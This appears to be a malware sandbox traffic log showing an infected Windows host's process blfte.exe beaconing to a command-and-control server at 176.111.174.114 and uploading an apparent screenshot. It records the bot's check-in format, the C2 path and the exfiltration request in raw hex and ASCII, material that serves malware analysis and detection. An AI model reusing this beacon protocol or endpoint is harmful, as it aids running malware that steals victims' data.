Apr 28, 2021 23:23:37.156857967 CEST	9490	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
473	176.111.174.114	80	192.168.2.5	49992	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:37.260206938 CEST	9490	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:37 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
474	192.168.2.5	49994	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:37.464396000 CEST	9491	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
475	176.111.174.114	80	192.168.2.5	49994	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:37.565625906 CEST	9491	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:37 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
476	192.168.2.5	49995	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:37.781565905 CEST	9492	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
477	176.111.174.114	80	192.168.2.5	49995	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:37.886017084 CEST	9492	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:37 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
478	192.168.2.5	49996	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:38.089442968 CEST	9493	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
479	176.111.174.114	80	192.168.2.5	49996	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:38.188663960 CEST	9493	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:38 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.5	49736	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:30.993213892 CEST	1587	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
480	192.168.2.5	49997	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:38.405090094 CEST	9494	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
481	176.111.174.114	80	192.168.2.5	49997	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:38.509601116 CEST	9494	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:38 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
482	192.168.2.5	49998	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:38.605201960 CEST	9508	OUT	POST //Hnq8vS/index.php?scr=up HTTP/1.1 Host: 176.111.174.114 User-Agent: Uploador Content-Type: multipart/form-data; boundary=152138533219.jpg Connection: Keep-Alive Content-Length: 185541 Data Raw: 2d 2d 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fc 50 8a 2f 2e 9f 52 fd 8f 77 5c d2 ec 35 fa 5c 69 9f 07 ce 47 1f 7a 75 7b 17 c1 af d8 53 f6 86 f8 d3 e1 3b 2f 89 1a 56 81 65 a2 f8 4f 50 9e 48 ad 3c 51 e2 2b f5 b7 b5 99 a3 72 92 18 91 43 4f 70 15 c1 56 30 c5 26 d2 08 38 22 bd df e1 ff 00 fc 13 93 e0 87 85 f6 5d 7c 4a f1 de b3 e2 bb c5 5c b5 9e 91 12 e9 b6 28 e0 f4 f3 1c 49 35 c4 67 d9 6d 9f e9 58 d5 c4 e1 e9 68 e5 af 91 ac 28 56 a8 ae 96 87 c5 29 f7 6a c2 7d da fd 19 bd fd 87 ff 00 63 8f 1a 78 7f ec 6f f0 5a 7f 0f c8 cd 95 d4 7c 2f e2 7b e5 b8 07 8c 03 f6 e9 2e a2 2b ea 3c b0 c7 b3 0a f2 1f 88 7f f0 49 df 12 c4 b2 5d fc 0b f8 c9 a4 eb a0 6e 31 e8 fe 27 87 fb 22 f1 cf 50 89 29 79 2d 58 01 c6 f9 26 87 24 7d d1 9e 2a 9e 3f 0f 3d f4 f5 26 b6 0e bc 76 57 f4 3e 45 a4 55 c6 45 76 df 16 7f 67 5f 8e 7f 01 ee a3 8b e2 ef c2 bd 6b 42 8a 79 0a 59 df de 59 37 d8 ef 08 19 fd c5 ca e6 19 c6 3b c6 ec 38 3c f1 5c 5b 6f ef 5d d1 94 65 0b a7 73 85 a9 45 d9 90 c7 1b d0 fd 3f 1a 96 9a f8 ee 29 72 15 cd 76 57 93 b5 44 e3 9f ad 4b 27 6a 6e dd dc 62 b1 94 4d e3 b9 4e 44 3e b5 1d 7e c7 f8 9b fe 0d 34 d5 7c 37 75 f6 7b ff 00 db 9f 74 2e d8 86 e5 3e 18 65 5f ff 00 2a 7c 1f 6f e6 39 aa d6 bf f0 6a 22 dc f5 fd bd f6 ff 00 dd 2d cf fe e5 2b f3 2a de 2b f0 05 29 b8 4f 19 66 bf e9 dd 6f fe 56 7d 64 38 4b 88 a5 1e 65 43 4f f1 43 ff 00 92 3f 1e a3 eb f8 54 be 53 fa 57 ec 8d b7 fc 1a 4e 2e 17 1f f0 f0 1d bc ff 00 d1 29 cf fe e5 6b f2 8b f6 87 f8 44 df b3 ff 00 ed 09 e3 df 80 8f af 8d 58 f8 27 c6 5a a6 80 75 51 6b e4 0b c3 67 77 2d bf 9d e5 ee 6f 2f 7f 97 bb 6e e6 db 9c 64 e3 35 ef 70 ff 00 19 70 df 13 d5 9d 3c b2 bf b4 94 12 6f dd 9c 6c 9e 9f 6a 31 fc 0f 3b 31 c9 73 3c ae 2a 58 aa 7c a9 e8 b5 8b fc 9b 38 a7 39 38 a1 36 7f 1d 39 d1 b3 9a 65 7d 49 e5 0e 65 fe e5 21 56 5e a2 92 9d bc d0 1b 11 f9 7e f4 2a f7 34 f7 eb 5f af bf f0 6e 6f fc 12 17 f6 1d ff 00 82 90 7e cd Data Ascii: --152138533219.jpgContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-streamJFIFCC"}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?P/.Rw\5\iGzu{S;/VeOPH<Q+rCOpV0&8"]\|J\(I5gmXh(V)j}cxoZ\|/{.+<I]n1'"P)y-X&$}?=&vW>EUEvg_kByYY7;8<\[o]esE?)rvWDK'jnbMND>~4\|7u{t.>e_\|o9j"-++)OfoV}d8KeCOC?TSWN.)kDX'ZuQkgw-o/nd5pp<olj1;1s<X\|89869e}Ie!V^~4_no~>K-[R9t/w6_gcmA~r 9qXxJ^w<MNH~@C5\|\>;$62>x}<uw5oa?_r3#~?/Oz_W<Cu3V2m yXZW_x[[B$)! zLml[aj3\snV&L3y{NijJ@\|RKE6M%tTQO0hR(()`sKNm;Q!T_\iFE7UrNz6zQQ9 GN&XCTn3iKi}jDB{EP@QEQEP7J2Iw) ($ruNm"a:;bON6(sbUW3N.KKzuPN?N)6(~4'O\|:ED'g#X_I'jN5ET%6N-)<)R>fQEQS OWEfaE/~4QErk>MD\FEC'jmML{h,Q@I<O/4EvEQEih-G@%SR>>1Q@Q@()$J:NPfSloPtZ>a:TNw_-Y&3D8e]KJR~w?47aH'%ozF}KOp$a}#N&\|_7eV94kH`=A!G>6`IJWIVI'Y+98J4UscSLftN5?-Nr~b=m=SY q^Cd-6m#!dk0#=^wb)bBkip.7M(5t_~#[Z<"C/]7rXg5?_Q- xXg561F?W'UW/'c?>3zl+GUGYsh/m&N$A(4rO'Hrv?zd=[5.#7{EL'wsWeGkd+UsxN5.3[CO<n}h<OJ?2"OQ_2+/p1?[uCl~?QWTzY_g?j\|Ef#^-CQ&C.e8`?)Lo.mqx_$f\|(6,>hlfPAbf7/Q_}:}N,D&02Kf0YXI#zv[M<&>JZI4Yo:;O+oY6]X.YU7(.+6N5iSI\|Y--wm.rFk$O\|Z>\|IE"$mm{<T@ ~'<+QjnS~m\|::S,S$?7%~{QEOMe)HzV]M:ecGZJ(:+>@"\|'z{BG+0y~eJ?;}UF>}Ei"~KQR<\|~rseT(4%QPMiUK`!jjdGOOGR0(3(%QLQE((N:t}SN$ I:~4:~4NZu^aRq"AFTg{4l5+.eW(<N#!SN:E)L~=c(A~Xm(VJ_DTQEbhC'jm=~4Vm6NGE=<n(MW)\R&oTQtTTGE:N)N(((nUsj%1%(gwSOm@R8'-.FJuJRB'jGEZwOYE)'- ($BsRlQr'~4/TI\))SRN]J}TPqs3"AZxWW;#?gkk4rDV`+`%gO5\|xzw-STcPT4D9=q_\|.[x+rVTa GAZB\|-jj]iYBgTe"jB3VvSMm]Ofx>7mk&rm@(Io~#x"{8@xDDz\|\|\|W#rC8LUdJ-{evd>3(akVu6wd]$.:oF96Q3GdRJ?GO>y5Sy}GCw_A,_{R]MzeBFm5 f7Q>+Df'@wsCL::}+K.PW/#kg,NI>yCUw7v?a`zI_^z>&9GQ(]4'q9)>=3N~[.X>Q[&5E?gW&\|4nwg5BgeQ9Oor?Qo)\|^Rr8m7^Oj59+%(l_bSMqR<{8Cr9;TFeI3YJ&+WrbgUH6t'pHW+z3<}EZ]/9ch(vV,1"bBcN{g]^_6xic,>I??s!=$L5U_?jPi\|}SZ]XxU1k=woug?duxJ^ZlC2,t<e^pf$'.i:9?X:[vF+NY]D5~IKWO_MIo4mn~&u1<.gnix,WibS{<vNvyQ@GM3czT;P2?//Oz<z\|z8iDRQLoQ~5wq#':~v($tF-vV1!Ry~73ul4KLzmNfcN~)_#Ry($(QN_w>#KXhx/e%7}HDAZ6j"&9QE;co3.$-PD'Zu6>:>DNdMH?ZD)=V]K8O\|P?yA};!\|/)\heIR5~S>qQ4DO&NvXH;vYs2:MRl(2 OeI6'j'j$=HiEH)vDi67>P#'j0E<C.y.9'O(%GRhQEQEfEPQ`(S_:czRQ@)(t}S@Q@S-QEaEPEPEP$F'?ZOoCNu^4<sW[,r["jn_i+sm?Iu3{Fo>qo~\|Zy#z/>/rB) e8j,k.t/pY=gWa0xqJXsP!!mMi$OQO\|[/~;RxBd hc ,UX)<Vd}Z}>[Y'%YrTdyB#]tw}s1o}lC/Wuwe;VAniduOD;\|\|w_+)W[[I-i\[B\ocUK~Ow0uM";g\GHBMpk_b+M_WxlL{gZiwjp?5\|.O\|i]RkM"Y^Orwocv9am_-/?OvuK;&k"D{=ZY#$D5guCOO\|@\|7i/x]Ns.e.a-kwlzF?e^XRUEg+Wgm.v.r;n6M65{KC8<T4GG^/DXL7f!J8V_NNk;oOCz> &i4GDSM=5+iEz>n<w7^Cz&mm=,Ztiu!H"BFq4"VNm&PsItWi7k]5!Nh-7J}ugSTkbb<AJ\|5?t.O#mZ5s\|x@<]jZFZ.tmfE7(i,;VaS^^j\E998KWi-Y4OJ~?O?-[^}O^sx/nQCZX8ci{ElW9h>?gTsztf4dD 6.$6O4qM\d1Gd~3_(yCCMkr~1gjmr}+T&KY&D$nW="aU-'Om['NWKhnV0UIV"jSwJqnre?[J(i/z'Gu;gW'dF1,X 1Q~ gG}#Qa;X\Yyk$HE .ln>~\|js!\|3>}s7766$phTqZUm/VwaJQN/W\|C{i\|>x3kKxW C[8FicGRTl;4ow.\|9y[T]x%#G4t#XL<1d%yp$&vJM=ehE^KW'[FI-L/Tr?cO=_7/K=:Mh?e$VO"O=[KN/c?z!h&t2v#?7\|=-/:\|C=T4-Y-Qsa%4m:mipsi4woV,\yn-Ki+H(P}?J%Ly)R:V\|9Q%+.\|av_::3_Iz9CE}(\#Rq2y~p}NVIiipC2PiRNH>VTITgPW?r}z!}ZH>BcS@H\|P.d@Dh+n1GZQ#.Z-.IwzwGO_!yjH0BNyQEQNJPOkMI\|QJOO'Z}hQW2TRL:ruR?O~ wYS:X-<6AiKEwhHeSY<\dUV$vQ:#!rIZ6l+co%IHT2&sOi_StT?(S\|~@E{G%MloJBV<9s);SjT}_iN'ju5kq;S,R23BrsMhy~QEfEP?TaRR2@e"ENloJ67K5%GOoiy5W<}QEaEPEPEPEPEPV+Q3UL}x3-JE;op\EEm], I,WdVg4.0b_X7gM\-ZZ[G%Kk]?GjOfHw:a\|0{EY6ow.gu"[F#jP^O~Wvho?'\_\-KBT+SOD$$9$h c<K%k{7zidg17.d_eJn'')4NeiRro&kD6}o=\|}~?\x{#mL}6<WikcFPv>\|BLM{O}RUKv6Z$R(E>0B-TQA+\|EN\|vZi{eliU)%h+~~/^_x$k}>[u}2s[xQ3Uuwm\|xOWa >WU.":nbT(eJrbSQM!\|+"{FKm_i]'$OBQiSu?m$5/4dKqk4S^xNI\|S,)7Y^pAgTUT0E{X_R]]vK.$yeQWJw>IkH~(6/7FX\[v-gxyA6G5X[mmo%x^-o]2-=r7"IcL^(#.0&~>P-5[TuxBqRo({Oy]m}},~_W\|<1k<_j_&/-<{>6xNm'L5$2D&{Hgd(fHxj\|]\|ix::~iuEe$xW72JF0yK)@y1!o0wl_%K^e5nk7>_yY}6Uox3S~xh^h::ZJIn%G9kl/^3Z~z~i?fxBj_-5TuAi&FsyrmKX=M7c!;s6+LR,q AYQ=JP].=~~\Y"&nwN?i7[[?j/5u/n4OQmJ[ukxG!6%>kM+a?hZAWKh]EwG#3!FZ9>E6H!8+\|CN;{5h%(M/4w\|$qvY4_+@t39u]<V(R@@l\|Dww-G@CMk;mBZG1q2(TUB+!%#Vx5nfc~?c%\|s_\|H}IttN+R2Ibm'h^bva$4j-7>\B(lTGup;rY8!\|_B#s^NyQy;koK{>hy{Ev#2kCS3OjR,O@>5frZ Zpm0 jdOWxW:Pf4Hdn h"Vb[dn4tCPMi6I4>Vju#vTu4[k_Q~W/$gaKU2~v\|7ogB=[g\|)5.}G\h=kmMH4["8zbc5V":7zk'%guS}W^6nzu^};%u[^?Xj)M5g/m%+s<K!^'"`tOF'r-wd2Z
Apr 28, 2021 23:23:38.701611996 CEST	9511	OUT	Data Raw: 93 b5 68 02 27 de a7 d1 1f 41 f5 a9 28 26 5b 8d 8f bd 3a 8a 2b 42 48 e8 a9 28 a0 08 e9 53 ef 53 e9 7f 87 ee 2d 00 31 a3 e3 ee 51 b0 d3 a9 53 ef 55 72 b1 73 09 45 22 b6 78 35 a9 e0 9b 1b 1d 57 c6 da 36 93 a9 c1 e6 db 5d ea d6 d0 5c 47 b8 8d c8 f2 Data Ascii: h'A(&[:+BH(SS-1QSUrsE"x5W6]\G zs\aZ[E6vaGI*{^M%{&w2wRy~Z~M:\|>?1O>_._U7<;9QI=\|
Apr 28, 2021 23:23:38.701713085 CEST	9513	OUT	Data Raw: 22 bf 9f ff 00 1c 7c 6e f8 d1 f1 39 9d fe 25 7c 5d f1 47 88 5a 42 4c 87 5c d7 ee 6e cb 1c e7 27 cd 76 cf 3c d7 f4 1b e3 6d 0b c6 33 78 cb 57 96 d7 fe 09 a3 e1 2d 7a 26 d4 ee 0c 7a e5 ce bd a3 a4 9a 8a 99 1b 17 2e b2 42 5d 5a 41 f3 90 c4 b0 2d c9 Data Ascii: "\|n9%\|]GZBL\n'v<m3xW-z&z.B]ZA-\|opz4sln^_7{8lro{7}ZgfkrOL{Ye@0p.@xoc~Q_BCZkuqc=q=vg`mmO
Apr 28, 2021 23:23:38.701888084 CEST	9516	OUT	Data Raw: 50 d2 b4 db 58 fc 03 a3 3d 85 84 9a 7f 9b ba f1 9d 61 59 2e 26 de ec 0c 8c 20 4c ed 00 75 e2 bf 7b 7c 49 ff 00 0d d9 ff 00 09 15 ff 00 fc 22 1f f0 a9 7f b2 7e db 2f f6 5f f6 97 f6 a7 da 3e cf bc f9 7e 6e cf 97 cc d9 b7 76 de 33 9c 71 5f 1f c5 98 Data Ascii: PX=aY.& Lu{\|I"~/_>~nv3q_N/CF9[K%HLG*?PK&olOdHGj__wwOou}>]cjNq{B)<XbTX1j"o^_d_nfy[
Apr 28, 2021 23:23:38.702368021 CEST	9519	OUT	Data Raw: a7 dd cb 04 c9 f7 25 86 42 ac bc 63 82 39 1c 57 e8 df fc 10 d3 f6 8d ff 00 82 5e 78 43 4a f8 ab a5 7f c1 5a 7c 62 b2 c7 7d fd 88 3c 04 da ae 9d ad 5f 48 a1 7f b4 3e dd e5 c9 a7 46 ef 0f df b4 ce f2 bb b0 bb 73 b4 e3 f3 ec fc 30 f8 9a 3c 19 ff 00 Data Ascii: %Bc9W^xCJZ\|b}<_H>Fs0<7\|/"Kmck'[vFc ~PoY\|/]CPi&~EQ0]/CJ\'jN5}6~xjGY@_Isis9
Apr 28, 2021 23:23:38.702795982 CEST	9521	OUT	Data Raw: 38 ad 37 b5 dd ee ad e6 35 f4 97 fc 12 2f 48 7f 10 7e df 3e 1d f0 fa 78 4f 57 d7 be dd e0 8f 1b 5b 9d 0f c3 f2 6c bf d4 77 f8 53 56 5f b3 db 37 95 36 d9 a4 ce c4 3e 54 98 66 1f 23 fd d3 f3 70 91 65 45 91 3a 1e 45 43 79 65 6f 7d 17 95 72 99 5a f5 Data Ascii: 875/H~>xOW[lwSV_76>Tf#peE:ECyeo}rZt'V%WVFo~oe_,<om\|7[/Ge~[Qm#{kFh";vKc3H~x_\|Il<cu'A'MZ;o~p
Apr 28, 2021 23:23:38.703299999 CEST	9524	OUT	Data Raw: ee ab cd 1f a5 57 9a 3f ee 56 52 89 ac 64 41 4c 93 e6 3c d4 be 5f bd 37 cb f9 eb 29 44 d6 32 19 e5 9f ee d3 76 0f 7a 9f 61 a6 79 5e c6 97 2b 2b 98 81 ed f1 50 49 6f 57 7c bf 7a 3c bf 7a c6 51 2e 35 2c 65 fd 9b da 9b 5a 52 43 50 49 6f fe cd 4f b3 Data Ascii: W?VRdAL<_7)D2vzay^++PIoW\|z<zQ.5,eZRCPIoO7B+SoQs&:#/fc<zO+U!gZ9_Ll#q/4/Z`Li+D5R$~%;Y0g??bP5q0Ti#17<z](s
Apr 28, 2021 23:23:38.703449965 CEST	9527	OUT	Data Raw: 45 e1 5f 12 78 3f c4 17 fe 12 f1 6e 8f 79 a5 ea ba 5d e4 b6 9a 9e 99 a8 db 34 17 16 97 11 b9 49 21 96 37 01 a3 75 65 2a ca c0 10 41 04 02 2b 6a 35 e8 62 5b 54 a6 a5 6e ce e4 d5 a3 88 a0 93 a9 16 bd 51 47 f7 94 7e f1 aa 46 85 f1 fe 14 d1 1b 2f 53 Data Ascii: E_x?ny]4I!7ue*A+j5b[TnQG~F/Sf67,}q'($}}ijx,CrD,q,,8]RL\TQvb'mh>xO>EJYe5/gyu)FVpn>D;\W7C
Apr 28, 2021 23:23:38.703746080 CEST	9530	OUT	Data Raw: e4 96 77 58 b7 90 b7 98 b2 5a a2 9d a8 19 c6 58 7c c8 bd 4e 01 f9 8c 36 26 b6 12 b2 ab 49 d9 a3 da af 42 96 26 93 a7 51 5d 33 f9 13 d4 74 ed 43 48 d4 27 d2 75 6b 19 ad 6e ad 66 68 6e 6d ae 22 29 24 32 29 21 91 94 f2 ac 08 20 83 c8 22 a3 4e b5 ed Data Ascii: wXZX\|N6&IB&Q]3tCH'uknfhnm")$2)! "NSIoex~BF3}Rz?8N6R<Q0KEjav3q_cQ:#c]H03h+alh+5\|Q,YDI*3=k7E
Apr 28, 2021 23:23:38.704415083 CEST	9532	OUT	Data Raw: 5e 63 fb 46 ff 00 c1 03 fe 04 7c 58 f1 cd f7 8e fe 13 fc 48 d4 3c 12 75 19 9a 6b 9d 19 34 f4 bb b3 49 1b 96 31 02 c8 d1 29 3c ed cb 01 93 b7 68 c0 0e f8 1f ff 00 04 12 fd 99 fe 16 5f 37 8a fe 2c f8 cb 56 f1 dc f6 d1 33 c1 a6 dc 42 b6 76 3b 80 e0 Data Ascii: ^cF\|XH<uk4I1)<h_7,V3Bv;hY\/>}IV'~\|>k}{?Vr'ok5T_xXv\|N.qzkMfN>1.+5/Tm>Tf
